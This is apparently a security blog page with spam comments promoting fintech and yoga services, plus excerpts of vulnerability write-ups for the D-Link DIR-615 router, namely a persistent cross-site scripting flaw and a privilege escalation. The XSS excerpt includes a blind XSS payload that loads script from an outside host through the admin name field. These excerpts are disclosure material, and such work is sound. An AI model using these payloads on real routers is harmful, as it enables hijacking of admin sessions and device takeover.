Bug Bounty POC


Comments

  1. Yoga Classes in Enoggera17 January 2020 at 23:58

    fintech prototyping environment

    Welcome to Fintech Sandpit, We are the best Fintech innovation platform for financial services innovation. We provide a wide range of Fintech prototyping environment, Fintech data workbench, fin-tech marketplace, Fintech sandbox service.

    to get more - https://www.fintechsandpit.com/

    ReplyDelete
  2. Yoga Classes in Enoggera18 January 2020 at 00:44

    fintech sandpit

    Welcome to Fintech Sandpit, We are the best Fintech innovation platform for financial services innovation. We provide a wide range of Fintech prototyping environment, Fintech data workbench, fin-tech marketplace, Fintech sandbox service.

    to get more - https://www.fintechsandpit.com/

    ReplyDelete
  3. Nemaram Punavat29 January 2020 at 22:45

    This comment has been removed by the author.

    ReplyDelete
  4. Nemaram Punavat4 March 2020 at 09:28

    This comment has been removed by the author.

    ReplyDelete
  5. Nemaram Punavat30 March 2020 at 04:08

    Yoga Classes in Enoggera

    Yoga Warriors - We are the best yoga classes in Enoggera. We support you to be stronger & braver so you have the confidence to go for your big dreams in life, We provide the morning and evening yoga training for both men & women in Enoggera.

    to get more - https://yogawarriors.com.au/

    ReplyDelete

Post a Comment

Popular posts from this blog

D-Link DIR-615 Wireless Router  -  Persistent Cross-Site Scripting

############################## ############################## ########################## # Exploit Title: D-Link DIR-615 Wireless Router — Persistent Cross Site Scripting # Date: 13.12.2019 # Exploit Author: Sanyam Chawla # Vendor Homepage:  http://www.dlink.co. in # Category: Hardware (Wi-fi Router) # Hardware Link:  http://www.dlink.co.in/ products/?pid=678 # Hardware Version: T1 # Firmware Version: 20.07 # Tested on: Windows 10 and Kali linux # CVE: CVE-2019–19742 ############################## ############################## ########################### Reproduction Steps:  — — — — — — — — — — — — — — —  Login to your wi-fi router gateway with admin credentials [i.e:  http://192.168.0.1 ] Go to Maintenance page and click on Admin on the left pannel. Put blind XSS Payload in to the name field — “><script src= https://ptguy.xss.ht ></ script>. This payload saved by the server and its reflected in the user page. Every refresh in the user home pag
Read more

D-Link DIR-615 Wireless Router —Vertical Privilege Escalation - CVE-2019–19743

Image
###################################################################################### # Exploit Title: D-Link DIR-615 — Vertical Prviliege Escalation # Date: 10.12.2019 # Exploit Author: Sanyam Chawla # Vendor Homepage: http://www.dlink.co.in # Category: Hardware (Wi-fi Router) # Hardware Link: http://www.dlink.co.in/products/?pid=678 # Hardware Version: T1 # Firmware Version: 20.07 # Tested on: Windows 10 and Kali linux # CVE: CVE-2019–19743 ####################################################################################### Reproduction Steps: Login to your wi-fi router gateway with normal user credentials [i.e: http://192.168.0.1 ] Go to the Maintenance page and click on Admin on the left panel. There is an option to create a user and by default, it shows only user accounts. Create an account with a name(i.e ptguy) and change the privileges from user to root(admin) by changing privileges id with burp suite. Privilege Escalation Post Request
Read more

BUG BOUNTY HUNTING (METHODOLOGY ,TOOLKIT ,TIPS & TRICKS, BlOGS)

Image
What is Bug Bounty? A bug bounty program is a deal offered by many websites and software developers by which individuals can receive recognition and compensation for reporting bugs , especially those pertaining to exploits and vulnerabilities.   A reward offered to a perform who identifies an error or vulnerability in a computer program or system. ‘The company boosts security by offering a bug bounty’   Bug Bounty - Image Source Google Bug Bounty Programs Bugcrowd https://www.bugcrowd.com/ Hackerone  https://www.hackerone.com/ Synack https://www.synack.com/ Japan Bug bounty Program https://bugbounty.jp/ Cobalt https://cobalt.io/ Zerocopter https://zerocopter.com/ Bug Bounty- Image Source Google Some Books reading about Bug Hunting There are some books for Web application penetration testing methodology and hunting the web. Through this you learn the basics and essentials of penetration testing and bug hunting. Since bug b
Read more